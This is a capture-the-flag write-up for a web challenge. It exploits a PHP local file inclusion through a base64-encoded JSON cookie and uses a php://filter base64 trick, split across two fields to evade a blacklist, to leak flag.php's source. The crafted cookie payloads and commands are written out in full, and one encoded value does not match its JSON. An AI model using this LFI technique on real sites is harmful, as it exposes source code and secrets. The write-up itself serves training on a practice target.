• Points: 1100

Description

Santa’s book of secrets has upgraded its security. All should be fine now. The flag is in flag.php.

Visit https://11.adventofctf.com to start the challenge.

Finding the vulnerability

When opening the challenge website, we get some text saying “there is only one person on the naughty list”. As there is no visible input, we open devtools to have a look at the cookies or javascript. Here we find one cookie:

zerooneone=eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D

We’ll get back to this later, let’s first check the flag location provided in the challenge description flag.php. Upon opening it, we get a message: “Direct access not permitted”. Quite useless for now.

The cookie value looks like a base64 encoded string, so let’s try to decode it:

echo -n "eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0" | base64 -d
> {"path":".","page":"main"}

The output is some JSON data with a path and a page. Let’s try to change the page to flag.

echo -n '{"path":".","page":"flag"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=

If we replace the cookie value with this new string and reload the page we get the following message: “Are you trying to get yourself on the naughty list? (no_direct_access)”. Sadly we cannot read the flag directly, but this is a different message than the one we got earlier when reading the flag so it might be a different filter. Let’s try to access a random page:

echo -n '{"path":".","page":"asd"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiJhc2QifQ==

When loading the page with this new cookie we get some PHP warnings.

Local File Inclusion

The error message we got was the following:

Warning: include(./asd.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 76

Warning: include(): Failed opening './asd.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 76

Hmm, it seems like it is directly including the input as the page with .php appended to it. As we saw earlier, directly accessing the flag didn’t work but maybe if we use another path it does. As we know the document root path of the website, we can use the absolute path to the flag and try to access it that way:

echo -n '{"path":"/var/www/","page":"html/flag"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiIvdmFyL3d3dy9odG1sL2ZsYWcifQ==

This time we get another message: “You are on the right page, but you cannot see what you want yet. Go get promoted!”.

Promotion

Go get promoted? I have not seen a way to get promoted… I tried adding extra variables to the JSON like user and role from previous challenges but nothing worked. Then, I remembered we’ve got local file inclusion and thus might have another way of reading the file.

Reading the file

The reason we cannot get the file by just including it, is that it is a PHP file and the flag is probably a variable in it that is not printed. Because of this, the only way to get the flag would be by getting the source of flag.php.

PHP Filters

PHP has several filters that can be used to read or validate data. This includes conversion filters. The conversion filter can be used, for instance, convert a file to and from base64. This is exactly what we want as PHP will not thread base64 data as PHP.

Let’s try to use the base64-encode filter to encode the flag.php file to base64:

echo -n '{"path":"php://filter/convert.base64-encode/resource=/var/www/","page":"read=html/flag"}' | base64 -w 0
> eyJwYXRoIjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy8iLCJwYWdlIjoicmVhZD1odG1sL2ZsYWcifQ==

Sadly, we didn’t get the file. Instead we got another message: “Are you trying to get yourself on the naughty list? (blacklist)”. It seems like the usage of filters is also blacklisted. After several attempts, I got it to work with the following input:

echo -n '{"path":"php://filter","page":"read=convert.base64-encode/resource=/var/www/html/flag"}' | base64 -w 0
> eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6InJlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZmxhZyJ9

It seems like the check only looks for filter/convert in the path and page separately instead of first joining them together as this time, we got some base64 encoded string as the output:

PD9waHAKaWYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4KPD9waHAKCmlmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsKPz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNlY3JldCBvbiB0aGlzIHBhZ2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJlIG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUgd2hhdCB5b3Ugd2FudCB5ZXQuIEdvIGdldCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=

Solution

If we use the base64 command again to decode this string we get the following:

<?php
if(!defined('MyConst')) {
   die('Direct access not permitted');
}
?>

<h4>Why does Egische keep showing up?</h4>
<?php

if ($_COOKIE["zerooneone"]) {
    $data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
}

if (false) {
?>
    <p>
        The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
    </p>
<?
} else {
?>
    <p>
        You are on the right page, but you cannot see what you want yet. Go get promoted!
    </p>
<?php
}
?>

It doesn’t really look like valid PHP but, we got the flag! It is NOVI{LFI_and_st1ll_you_f0und_it}.

This flag can then be submitted for the challenge.